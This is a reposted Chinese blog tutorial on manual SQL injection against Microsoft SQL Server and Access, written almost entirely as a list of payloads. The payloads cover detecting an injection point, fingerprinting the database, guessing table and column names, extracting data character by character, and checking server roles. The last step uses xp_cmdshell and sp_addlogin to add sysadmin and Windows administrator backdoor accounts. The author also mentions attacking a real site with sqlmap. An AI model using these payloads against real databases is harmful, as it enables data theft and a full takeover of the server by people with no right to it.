码迷,mamicode.com
首页 > 数据库 > 详细

Sql Server 手工注入讲解

时间:2015-06-20 22:15:57      阅读:336      评论:0      收藏:0      [点我收藏+]

标签:数据库系统   access   成就感   count   手工   

1.判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的

2.初步判断是否是mssql
and user>0

3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access

4.注入参数是字符
‘and [查询条件] and ‘‘=‘

5.搜索时没过滤参数的
‘and [查询条件] and ‘%25‘=‘

6.猜数表名
and (select Count(*) from [表名])>0
这个比较蛋疼,总共有3oo多个数据库我手工没有猜出来,有神器sqlmap跑的都显示不完,刚才返回错误,如果填上正确的表名就行了,下面是猜字段,其实和access数据库差不懂,学这个就得会举一反三,这是一些步骤和语句,我给大家自己看吧,主要是这个站比较蛋疼,对了工具的使用会在以后的教程中介绍,学这个要先学会原理,只知道用工具注入也没有什么意思,要学会原理,有自己的思路,然后自己写工具才有成就感

7.猜字段
and (select Count(字段名) from 表名)>0

8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0

9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

10.测试权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘serveradmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘setupadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘securityadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘diskadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin‘));--
and 1=(select IS_MEMBER(‘db_owner‘));--

11.添加mssql和系统的帐户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add‘;--
exec master.dbo.xp_cmdshell ‘net user username password /add‘;--
exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add‘;--

本文出自 “redBull” 博客,转载请与作者联系!

Sql Server 手工注入讲解

标签:数据库系统   access   成就感   count   手工   

原文地址:http://7865214.blog.51cto.com/7855214/1663812

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!